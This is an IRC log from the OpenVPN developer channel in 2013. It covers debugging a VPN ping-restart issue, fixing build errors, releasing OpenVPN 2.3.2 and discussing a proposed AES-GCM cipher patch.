07:49 < waldner> and it is doing it 07:50 <@cron2> what sort of server? (something else might have gotten stuck, like "out of socket memory" or such) 07:50 < waldner> since one of the servers was still on 2.2, I built the latest from source just in case, but no change 07:50 < waldner> one is a physical linux box, the other one is a VPS 07:50 < waldner> there are more weird things though 07:51 < waldner> I'm connected to both boxes permanently, and I started seeing glitches in both VPN links this morning at the same time 07:51 < waldner> looking at the log, I saw the ping-restarts 07:51 < waldner> every few minutes or so 07:52 < waldner> now some colleagues of mine are connected to one of the two servers, and they have no problem whatsoever 07:52 <@cron2> where is the tcpdump running? on the server side or on the client side? (maybe something in your network started acting up, and is eating small packets) 07:52 < waldner> and even stranger is that, after the connection is (re)established, the client does receive the server pings 07:52 < waldner> but after a while, they stop 07:53 <@cron2> firewall session timeout or something similarily weird? 07:53 < waldner> I'm running tcpdump on my box, on the server, and on a firewall we have in between 07:53 < waldner> and I'm now reasonably sure that the client don't see the server pings because they don't show up at the server's tcpdump 07:53 < waldner> I'm still investigating though 07:54 <@cron2> ok, if they are not seen on the server side, that rules out a network issue 07:54 < waldner> and having now built from source on one of the servers I can play around with the source 07:54 <@cron2> (if you're tcpdumping the right interface, and see "normal" packets, that is :-) ) 07:54 < waldner> yes, of course :) 07:54 <@cron2> anything in "dmesg"? 07:55 < waldner> nothing that jumps at me 08:22 < waldner> mistery solved 08:22 < waldner> it has nothing to do with openvpn 08:22 < waldner> and the server was really sending pings, only my tcpdump filter wasn't seeing them 08:22 <@cron2> so who *was* eating the pings? 08:23 < waldner> long story short 08:23 < waldner> I had my vpns configured on a test laptop 08:23 < waldner> (as well as my main pc) 08:24 < waldner> that laptop was in my drawer, turned off until today 08:24 < waldner> but today, someone took it before I arrived and turned it on 08:24 < waldner> that brought up the vpns from another location 08:25 < waldner> so the server was sending pings to them, not to me 08:25 < waldner> but of course I was tcpdumping on my ip 08:26 < waldner> I and the laptop were alternativley being kicked out 08:26 < waldner> so when I saw ping stopping, it was because the laptop was doing a ping-restart, and the server was starting talking to it 08:27 < waldner> after I while, my pc obviously did a ping-restart, so I started seeing pings again 08:27 < waldner> etc.etc. 08:27 < waldner> the nice thing is that noone told me they had taken my laptop :-) 08:32 <@cron2> yeah, this would explain the effects you saw :-) 08:32 < waldner> indeed 08:33 < waldner> out of curiosity, what is openvpn.vcxproj ? 08:34 <@cron2> visual c++ project would be my guess 08:34 < waldner> ah, makes sense 13:42 <@plaisthos> cron2: Do you have a better idea? :/ 13:43 <@cron2> plaisthos: my variation is in the sentence already, but I'm not sure I like it better - it will give (IMHO) somewhat cleaner code, but the drawback is duplication of code and an extra loop... 14:06 <@plaisthos> cron2: I don't really. I can send a version with two loops if you like 14:08 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 14:20 <@cron2> I'm not sure if I like that better, need to mull over it a bit more 14:23 <@plaisthos> +care --- Day changed Tue May 28 2013 01:39 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:39 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 01:39 -!- mattock_afk is now known as mattock 02:56 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 240 seconds] 02:58 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 02:58 -!- mode/#openvpn-devel [+v pekster] by ChanServ 03:52 -!- mattock is now known as mattock_afk 05:04 <@cron2> awww this snappy stuff is annoying... recompiling corp openvpn server, now need to install snappy library first... 05:14 -!- mattock_afk is now known as mattock 06:11 <@plaisthos> cron2: --disable-snappy? :) 06:12 <@plaisthos> and openvpn3 also supports lzo4 ... 06:46 <@cron2> plaisthos: that would sort of miss the point of upgrading to master :-) 09:18 -!- oh7lzb [k0b8@tunkki.fi] has quit [Ping timeout: 249 seconds] 10:24 -!- raidz_away is now known as raidz 16:11 -!- mattock is now known as mattock_afk 19:12 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Remote host closed the connection] 19:13 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 19:21 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Remote host closed the connection] 19:22 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 19:25 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Client Quit] 19:26 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 19:35 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Remote host closed the connection] 19:36 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 19:56 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Remote host closed the connection] 19:57 -!- raidz is now known as raidz_away 21:34 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 21:37 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:20 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 22:26 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Quit: Off the grid] 22:37 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel --- Day changed Wed May 29 2013 01:56 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 02:00 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 02:00 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:04 -!- mattock_afk is now known as mattock 06:20 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 256 seconds] 06:21 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:21 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:32 <@vpnHelper> RSS Update - tickets: #297: unable to create a tunnel over UDP <https://community.openvpn.net/openvpn/ticket/297> 08:34 <@cron2> yay, yet another patch for 2.3.2 10:14 -!- raidz_away is now known as raidz 11:08 -!- raidz is now known as raidz_away 11:09 -!- raidz_away is now known as raidz 13:39 <@plaisthos> cron2: but a nice bug report with problem analysis and patch :) 13:46 <+krzee> theres a repo for ubuntu 12 and 10 but no 11? 13:48 <@cron2> 10+12 are lts, 11 is end-of-everything (if I'm not mistaken) 13:49 <+krzee> ahh i see, ill just upgrade it 13:52 <@plaisthos> krzee: probably 12.04 and 10.04? 13:52 <+krzee> right 13:52 <+krzee> and 11.04 13:52 <@plaisthos> :) 13:52 <@plaisthos> 11.04? 13:53 * plaisthos wonders 13:53 <+krzee> what the box im using is on 13:53 <@plaisthos> ah okay 13:53 <@plaisthos> there is alos 12.10, 11.10 and 10.10 13:53 <@plaisthos> but that are also no LTS releases 15:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 15:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 15:22 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 15:22 -!- dazo_afk is now known as dazo 15:50 -!- mattock is now known as mattock_afk --- Day changed Thu May 30 2013 01:46 -!- mattock_afk is now known as mattock 05:02 -!- mattock is now known as mattock_afk 05:13 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 05:49 -!- novaflash is now known as novaflash_away 05:50 <@cron2> plaisthos: ayh? 06:12 <@cron2> plaisthos: I tend to ACK+commit the patch in #297, but it would be great if you could have a look and ACK/NAK it as well - it's socket.c :-) 06:12 <@cron2> I have already t_client tested it (works) but I'm not sure whether I'm properly excercising these code paths 07:41 <@plaisthos> cron2: looks good to me 07:42 <@plaisthos> We have script-security .. system removed right? 07:57 <@plaisthos> the union in the patch is only for lazyess :) 07:58 <@plaisthos> you could add both struct at the top too.. 07:58 <@plaisthos> and this actually could be a c89 vs c99 bug 07:59 <@plaisthos> err no 07:59 <@plaisthos> :) 07:59 <@plaisthos> (scoping rules for for have changed but switch should be the same) 08:49 -!- mattock_afk is now known as mattock 09:52 <@mattock> hmm, I'm wondering if we should announce something like "we're about to release openvpn-2.x.x... if you have any small but useful fixes you'd like include, please send them now" 09:52 <@mattock> for example, documentation fixes and such 09:58 <@mattock> cron2: 2.3.2 tomorrow or next week? 10:00 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:39 <@cron2> mattock: tomorrow 13:44 <@cron2> plaisthos: adding both structures instead of the union will eat more memory on the stack, of which only half is needed - so the union (which already exists for the other direction *meh*) nicely covers that :) 13:54 <@cron2> plaisthos: do you want the script warning patch in master only, or in 2.3 as well? 13:55 * cron2 thinks this is good for 2.3.2, too 14:19 <@plaisthos> cron2: Hm, I let you decide. I am actually tracking -master with my client. 14:19 <@plaisthos> But since it is no big change I think it is good for 2.3.2 too 14:19 <@cron2> plaisthos: 2.3 - I think it's safe enough ("even if it's buggy, it's not going to break packet forwarding or crypto") and it will reduce user confusion 14:24 <@vpnHelper> RSS Update - testtrac: Provide more accurate warning message <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=3600996534c30978a7b0e9ddbe5e9743e6423d1a> || Only print script warnings when a script is used. Remove stray mention of script... <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8476edbb1748e11de0e4fda8989c9e470285926b> || Fix probl 14:25 <@mattock> cron2: re: 2.3.2: ok 14:25 <@cron2> mattock: ok. just pushed "what I think should be in there", and now preparing version.m4, ChangeLog, and tagging... if no buildbot chokes, that will be it 14:27 <@mattock> ok, sounds good 14:27 <@mattock> I'll do the release tomorrow then 14:27 <@cron2> cool 14:38 <@plaisthos> time for me to try the new android store staggered rollout of apps :) 14:42 <@plaisthos> cron2: do you have build an opionion of my IV_OPENVPN_GUI_VERSION patch? 14:43 <@cron2> plaisthos: to be honest, life got in the way... 14:44 <@plaisthos> cron2: hehe 14:45 <@cron2> buildbot is... strange. it has "idle 1 pending" for every single builder, but nothing is actually built 14:46 <@cron2> ah, now it's starting 14:48 <+pekster> http://xkcd.com/303/ 14:48 <@vpnHelper> Title: xkcd: Compiling (at xkcd.com) 14:48 * plaisthos has the feeling that this is the comic of people fighting on chairs without clicking the link 14:49 <@cron2> haha :) 14:49 <@cron2> uh 14:49 <@cron2> osol10 failed 14:50 <@cron2> freebsd90 failed 14:50 <@cron2> "something is wrong" 14:51 * cron2 slaps plaisthos with a large trout 14:51 <@cron2> init.c: In function 'do_option_warnings': 14:51 <@cron2> init.c:2547: error: 'const struct options' has no member named 14:51 <@cron2> +'auth_user_pass_verify_script' 14:51 <@cron2> init.c:2548: error: 'const struct options' has no member named 14:51 <@cron2> +'client_disconnect_script' 14:51 <@cron2> init.c:2548: error: 'const struct options' has no member named 14:51 <@cron2> +'client_connect_script' 14:51 <@cron2> init.c:2549: error: 'const struct options' has no member named 14:51 <@cron2> +'learn_address_script' 14:51 <@cron2> init.c:2549: error: 'const struct options' has no member named 'tls_verify' 14:51 <@cron2> ... these are only conditionally defined 14:52 <@plaisthos> cron2: oh right :( 14:52 <@plaisthos> cron2: let me cook a real fix 14:54 <@cron2> on top of master, please, as that has already been pushed 14:54 <@plaisthos> cron2: will do 14:56 <@cron2> reordering the variables a bit and adding a few #ifdef <whateverittakes> in between should do the job 15:00 <@plaisthos> cron2: I think of renaming warn_multiple_script let that set a bool 15:00 <@plaisthos> so I don't add yet /more/ ifdefs 15:11 <@cron2> well, it's #ifdefs, but as long as they do not add new conditions but just handle existing ones, I could live with that. Going with the other one might also work and collect the garbage in just one place... 15:12 <@plaisthos> cron2: I will prepare patch with the warn_multiple_script stuff 15:14 <@plaisthos> Things I learned today I don't understand .... 15:14 <@plaisthos> tls-verify options replaces ' ' with , in its argument 15:19 <@cron2> other way round, ',' with ' ', if I read that right - maybe the intention is "being able to pass shell args to the script" 15:19 <@cron2> but indeed, that's an interesting one 15:25 <@plaisthos> also ip-change 15:27 <@plaisthos> cron2: I sent a patch for the patch to the mailing list 15:28 <@mattock> cron2: it can take quite a while before it starts building 15:32 <@cron2> mattock: it was quite interesting, it had scheduled the new job for everything, and then slept for 5 minutes or so before it actually went out and distributed work 15:34 <@plaisthos> the #ifdef for checking scripts is wrong too 15:34 <@cron2> so we get a patch for the patch for the patch? or a v2? 15:34 <@plaisthos> scripts are only check if there are present and executable if you have P2MP_SERVER enabled 15:34 <@plaisthos> cron2: different code 15:34 <@cron2> uh 15:34 <@plaisthos> errs |= check_cmd_access (options->auth_user_pass_verify_script, 15:34 <@plaisthos> "--auth-user-pass-verify script"); 15:34 <@plaisthos> these things 15:35 * cron2 remembers 15:37 <@cron2> *sigh* buildbot has flood-mailed my spamassassin to death... mail queue choking... 15:38 -!- mattock is now known as mattock_afk 15:49 <@cron2> plaisthos: I'll look at your patch tomorrow, need to go to bed now (and my mail system hasn't recovered enough to actually see it) 15:49 <@plaisthos> cron2: kk, I can put on the patch on a web server if you want 15:49 <@cron2> children will wake me up early enough 15:49 <@plaisthos> cron2: :) 15:50 <@plaisthos> good night 16:24 * plaisthos returns the favour of broken #ifdefs back to cron2 17:09 <@plaisthos> I was under the impression that send-peer-info would send variables from the environment 17:09 <@plaisthos> but that is not true 17:09 <@plaisthos> only those which are set by setenv UV_XXX 19:48 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 19:52 -!- raidz is now known as raidz_away 20:01 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:10 <@vpnHelper> RSS Update - tickets: #298: "Local Options String"/"Expected Remote Options String": keydir misleading <https://community.openvpn.net/openvpn/ticket/298> 23:45 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 256 seconds] --- Day changed Fri May 31 2013 02:05 <@cron2> plaisthos: I admit I never checked how "outside environment" is handled - my tests all used "setenv UV_..." 02:22 -!- mattock_afk is now known as mattock 02:28 <@cron2> plaisthos: where's the difference between v1 and v2? 02:29 <@cron2> (and yes, grrr, stupid way we sometimes use #define FOO and sometimes #define BAR 0/#define BAR 1 02:35 -!- Netsplit *.net <-> *.split quits: @mattock 03:04 <@cron2> ah, mattock has booted his fedora VM... 03:04 * cron2 is getting more buildbot failure mails 03:10 <@vpnHelper> RSS Update - testtrac: Move checking of script file access into set_user_script <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e55681a9d802bf1639115d325c1685e5962865d0> || Move settings of user script into set_user_script function <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9b6a5028111cd915b0342fbd2ecd0b9dfd4aa94a> || Fix #ifdefs for 03:20 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:20 -!- ServerMode/#openvpn-devel [+o mattock] by wolfe.freenode.net 03:23 <@cron2> so... pushed fixes, poked buildbot... want to see all green now 03:25 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 03:58 <@plaisthos> cron2: I forgot one #if/#ifdef in v1 03:59 <@plaisthos> cron2: and sent the patch without that ifdef to the ml :( 04:02 <@cron2> plaisthos: uh, so we actually need a v3 now? 04:03 <@cron2> ah, indeed 04:13 <@cron2> mattock: ubuntu is not happy with the libsnappy installation - seems you need to run "ldconfig". It builds, but at runtime, can't find libsnappy.so 04:14 <@cron2> ubuntu-1004, that is 04:18 <@mattock> ah, ok 04:19 <@cron2> besides that, there is enough green in buildbot now that I feel confident to tag and push 2.3.2 :-) 04:19 <@mattock> "enough green" :D 04:20 <@cron2> there's a few still red, but those are the ones that have not built yet, or the one which couldn't find libsnappy 04:30 <@mattock> I'll get some lunch, then I can prepare the release 04:57 <@cron2> opensuse wants snappy 05:00 <@cron2> plaisthos: are you sending a new patch for the 3rd #ifdef? 05:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 05:05 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:05 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 05:05 -!- mattock_ is now known as mattock 05:07 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 05:09 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:09 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 05:09 -!- dazo_afk is now known as dazo 06:07 <@mattock> cron2: re: opensuse: yes, but I'm considering killing the entire VM 06:09 <@mattock> cron2: when to you plan on doing the tagging of 2.3.2? 06:09 <@mattock> I only got a couple hours time today, so I won't be able to push 2.3.2 out today 06:10 <@mattock> monday would work fine for me 06:25 <@cron2> well, the tree is tagged actually... 06:25 <@cron2> pushing! 06:26 <@cron2> need to be in Dubai on Monday, so have no time whatsoever next week 06:32 <@cron2> mattock: can you manage tarballs + announcement today, and windows etc next week? 06:45 <@mattock> hmm, probably, but does that make sense, or will everyone start screaming "where is my Windows binary!?!?!" 06:46 <@mattock> maybe we could put the tarballs on the download server, but only announce it on openvpn-devel or so 06:47 <@mattock> as long as I get the tarballs, I can make the real release on Monday 06:47 <@cron2> whatever you prefer :-) - tagged repo is there for you 06:47 <@mattock> ok 06:47 <@mattock> can you generate the tarballs and zips while you're at it? :P 06:48 <@mattock> I'll sign them, put them to swupdate and make the pre-announcement on openvpn-devel 06:57 <@cron2> no idea how to do that 06:58 <@mattock> I guess it's just "make dist"? 06:58 <@mattock> but then again, I can do it myself 06:58 <@mattock> opensuse seems to build ok now 06:58 <@cron2> if it's just make dist, I think it's easier if you do it than for me to find some place to store them so you can fetch 'em :-) 06:58 <@mattock> yep 06:58 <@mattock> I'll do it 07:04 <@mattock> cron2: all it takes is "autoreconf -vi; ./configure; make dist; make dist-zip; make dist-xz 07:16 <@mattock> hmm, some kind soul has converted the man-page on community.openvpn.net trac into HTML 07:17 <@mattock> I need to obtain his spell, as mine failed 07:31 <@plaisthos> cron2: do you still need the trivial #if/#ifdef patch? 07:31 <@cron2> plaisthos: well, for formal reasons ("one sends the patch, one acks it") it would be good 07:31 <@plaisthos> cron2: kk 07:57 <@plaisthos> cron2: what is easier for you? Simple diff or git send-email? 08:02 <@plaisthos> ignore that email 08:02 <@plaisthos> did the wrong send-email command line 08:02 <@plaisthos> :( 10:13 <@cron2> host brick-gert.dyn.space.net 10:13 <@cron2> argh 10:16 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 10:16 < m-a> mattock: 2.3.2 under test for FreeBSD shipment 10:17 <@cron2> oh, wow, that was quick :-) 10:28 <@ecrist> w00t 10:35 < m-a> I did not say that I have committed yet, but Tinderbox builds went smoothly. 10:35 < m-a> Later... 10:36 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Quit: Leaving.] 10:40 <+krzee> ecrist, you dont maintain the fbsd port? 11:12 -!- raidz_away is now known as raidz 11:35 <@ecrist> no 11:35 <@ecrist> m-a does the main port, I do the -devel and -beta ports 11:36 <@ecrist> I have a standing, ecrist can update the main port, though, on file with fbsd. 11:36 <@ecrist> from m-a 11:36 <+krzee> ahh cool 12:10 <@vpnHelper> RSS Update - tickets: #299: Error in file checking with "chroot" option enabled <https://community.openvpn.net/openvpn/ticket/299> 14:19 <+pekster> mattock: A bit of post-convert massaging was needed (I (ab)used sed/regex to do it) but man2html works magic ;) 15:05 <+pekster> Nothing urgent, but whoever has access to the "non-community" site where the community info is stored should update the GUI link to point to the new wiki page I set up at: https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI 15:05 <@vpnHelper> Title: OpenVPN-GUI – OpenVPN Community (at community.openvpn.net) 15:11 <+pekster> The important one is in the howto (which currently links to a worthless page that won't help users.) If there are other links around, those can be updated too 15:11 <+pekster> An, plus the "Graphical User Interface" link/page 15:12 <+pekster> (maybe that link can go to the GUI instead of linking to http://openvpn.net/index.php/open-source/documentation/graphical-user-interface.html ? The 'Related Projects' laundry list of mostly-defunct-and-broken GUIs doesn't appear all that useful. If it is, feel free to add it as a less-advertised link somewhere 15:12 <@vpnHelper> Title: Graphical User Interface (at openvpn.net) 16:43 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 240 seconds] 16:44 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 18:53 -!- mattock is now known as mattock_afk 19:15 -!- chantra [~chantra@unaffiliated/chantra] has quit [Ping timeout: 252 seconds] 19:15 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 19:19 -!- raidz is now known as raidz_away 21:20 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 240 seconds] --- Day changed Sat Jun 01 2013 01:53 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:53 -!- mode/#openvpn-devel [+o cron2] by ChanServ 04:20 <@vpnHelper> RSS Update - testtrac: Fix another #ifdef/#if P2MP_SERVER <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=0a48ae367f4de3d95c99dc0f1668ea0308205ed5> 09:23 -!- mattock_afk is now known as mattock 15:21 -!- mattock is now known as mattock_afk --- Day changed Sun Jun 02 2013 01:05 -!- mattock_afk is now known as mattock 01:10 -!- Netsplit *.net <-> *.split quits: jgeboski 01:16 -!- mattock is now known as mattock_afk 02:23 <+pekster> mattock_afk: Hmm, I was a bit quick to blame Ubuntu on that openvpn-users ML post -- the 2.3.1 .deb's off of repos.openvpn.net lists you as the maintainer and suffers from basically the same issues the downstream repos do. Feel free to provide more relevant info if you want since I try to avoid upstart whenever I can. At the very least, the /etc/default/openvpn bit is wrong when it says an empty $AUTOSTART value is the same as ... 02:23 <+pekster> ... "all" (it's actually the same as "none" if it's really blank, and undefined it defaults to all.) 02:24 <+pekster> If it's downstream's problem, I'm happy to leave the blame there too unless someone there wants to fix it 08:28 <@vpnHelper> RSS Update - tickets: #300: Replace OpenVPN GUI with OpenVPN MI GUI in the Windows version <https://community.openvpn.net/openvpn/ticket/300> 09:07 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 10:47 -!- mattock_afk is now known as mattock 13:26 <@mattock> pekster: ok, I'll fix the /etc/default/openvpn issue in the 2.3.2 packages 15:06 <@plaisthos> that issue is something for d12fk to deal with :) 15:09 <@cron2> well, mattock is the one doing the bundling... but hopefully we'll see a new round of prefix separation / openvpn service patches soonish 15:15 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 15:28 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:44 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 15:57 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:24 -!- mattock is now known as mattock_afk 16:42 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving] 16:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 23:39 -!- kroot [~locutus@of.the-b.org] has joined #openvpn-devel 23:39 < kroot> hello 23:39 < kroot> !meetings 23:39 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 23:40 < kroot> I just wrote AEAD cipher support for OpenVPN, but it appears that PolarSSL has chosen a different API for those modes (GCM, etc). 23:41 < kroot> Is there any barrier to commiting OpenSSL-only enhancements? --- Day changed Mon Jun 03 2013 00:24 <@vpnHelper> RSS Update - tickets: #301: Support AEAD cipher modes <https://community.openvpn.net/openvpn/ticket/301> 00:24 < kroot> I attached the patch to that issue. 02:05 <@cron2> kroot: well, we spent quite some effort ensuring feature-compatibility between OpenSSL and PolarSSL-builds, so it would take some really good arguments to convince us to accept an OpenSSL-only feature 02:06 -!- mattock_afk is now known as mattock 02:32 <@mattock> ...back to making the 2.3.2 release 02:44 <@cron2> \o/ 03:09 <@d12fk> plaisthos: yeah it really sucks that mathias is not responding to my requests granting me the rights to change to gui homepage 03:09 <@d12fk> it's still on top of everything google 03:26 <@mattock> 2.3.2 in repos.openvpn.net 03:32 <@mattock> d12fk: do you want to include the latest GUI changes in 2.3.2? 03:32 <@mattock> if so, could you generate a new tarball (v4)? 03:38 <@d12fk> let me check 03:40 <@d12fk> yeah there's null ptr deref fixed with auto proxy, so totally worth it 03:40 <@d12fk> i'll release a v4 today 03:41 <@mattock> I'm planning on releasing 2.3.2 within next 4 hours... can v4 GUI make it in that time? 03:43 <@d12fk> yes 03:44 <@d12fk> what is with the warning matthias mentioned on the list? 03:46 <@mattock> not sure about the warning, but it seems like an old issue 03:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 03:48 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:48 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:48 <@plaisthos> If you want to be scared compile openvpn with clang ;) 03:50 <@d12fk> kroot: do you have any promising benchmarking results? 03:52 <@cron2> plaisthos: yeah, need to ACK+Commit your list of unused variables... 03:52 <@plaisthos> cron2: oh that patch is still open? 03:53 <@cron2> yep 04:02 <@plaisthos> and when I have a lot of time I will try to fix all the size_t vs int warnings :/ 04:03 <@cron2> good plan, lots of work indeed 04:05 <@mattock> I gave https://community.openvpn.net/openvpn/wiki/RelatedProjects some love 04:05 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net) 04:06 <@plaisthos> compiling with clang currently gives 56 warnings :/ 04:07 <@mattock> also, http://openvpn.net/index.php/open-source/documentation/graphical-user-interface.html is now pointing to https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI 04:07 <@vpnHelper> Title: Graphical User Interface (at openvpn.net) 04:07 <@mattock> the latter is a very nice page describing the use of OpenVPN-GUI 04:09 <@mattock> everything prepared for release, will rebuild openvpn windows installer and push out 2.3.2 once the v4 gui is ready 04:48 <@cron2> kroot: I think it would be good to discuss these changes on the openvpn-devel mailing list - especially backing the performance claims with benchmark numbers 05:21 <@plaisthos> Reminds me about someone complaining that whirlpool is missing in my app http://code.google.com/p/ics-openvpn/issues/detail?id=172 05:21 <@vpnHelper> Title: Issue 172 - ics-openvpn - Open SSL can not find whirlpool hashing algorithm - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 05:47 <@d12fk> mattock: repo pushed and tagged 05:47 <@d12fk> tarball on its way 06:28 <@mattock> d12fk: thanks! 07:21 <@mattock> windows smoke tests passed 07:30 <@mattock> making announcements 07:32 <@cron2> we're starting to really get the hang of it :-) 07:32 * cron2 <- happy 07:33 <@mattock> done 07:34 <@mattock> the good thing is that even 2.3.x has been very stable, only two maintenance releases since Jan 2013 07:34 <@mattock> i.e. we haven't had the need to panic and run around in circles :P 07:37 <@cron2> true - the code base from James is robust enough that we haven't done major damage yet :-) 07:37 <@mattock> :D 07:38 <@mattock> although the code is less "intertwined" (spaghetti?) nowadays with all the cleanups 07:38 <@mattock> or so I'd like to believe, at least :) 08:15 <@ecrist> mattock: https://forums.openvpn.net/topic12840.html 08:15 <@vpnHelper> Title: OpenVPN Support Forum account creation email rejection logic is wrong : Forum & Website Support (at forums.openvpn.net) 08:15 <@ecrist> is that something you can patch into PWM? 10:16 -!- raidz_away is now known as raidz 11:17 < kroot> cron2: Okay, I'll see what I can do to support the one AEAD algorithm that PolarSSL has. 11:20 <@mattock> ecrist: oh yes, that's actually an old issue 11:21 <@mattock> I reported it to pwm a few years ago 11:21 <@mattock> this is the second complaint so far 11:22 <@mattock> I'll check what the situation is within next two weeks... I need to start upgrading the servers anyways, so I can upgrade pwm while I'm at it 11:22 < kroot> cron2: Er, I don't think the performance was my main point. I probably shouldn't have worded the ticket that way. But I can include "openssl speed" results that show AES-256-GCM is twice as fast as AES-256-CBC (without adding the time for HMAC) 11:26 < kroot> cron2: Newer x86 chips have acceleration for it. It's the PCLMULQDQ instruction. 11:56 < kroot> d12fk: I updated the ticket with some numbers. 12:19 <@ecrist> mattock: can you respond to that thread, with the synopsis above? 12:24 < kroot> cron2: Seems that PolarSSL hasn't pulled any AEAD ciphers into its cipher API. Updated the ticket with that info. 12:33 <@cron2> kroot: primary discussion medium for such changes is the openvpn-devel *list*. Tickets are more for "here's a bug, please fix". 12:33 <@cron2> the crypto folks (andj, jjk, ...) do not read the tickets, and you need their approval for such a change to go in 12:42 <@mattock> ecrist: I did already 12:43 <@ecrist> thanks, mattock 12:47 -!- oh7lzb [vADxig0l@tunkki.fi] has joined #openvpn-devel 13:28 <@mattock> np 13:34 -!- mattock is now known as mattock_afk 15:41 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 15:43 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 15:43 -!- mode/#openvpn-devel [+o andj] by ChanServ 20:01 -!- raidz is now known as raidz_away --- Day changed Tue Jun 04 2013 02:08 < syzzer> kroot: I've heard AEAD cipher mode support for the cipher wrapper is coming, but I don't know when 02:08 < syzzer> well. specifically AES-GCM support 03:50 <@cron2> has anyone seen dazo recently...? 04:23 < syzzer> i've exchanged some mails, he told me he's been very busy lately 04:26 <@cron2> certainly looks like it :-) 07:54 -!- mattock_afk is now known as mattock 10:16 -!- raidz_away is now known as raidz 12:33 < kroot> syzzer: cool, should be easy to add PolarSSL support as well then 12:57 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 12:57 -!- mode/#openvpn-devel [+v pekster_] by 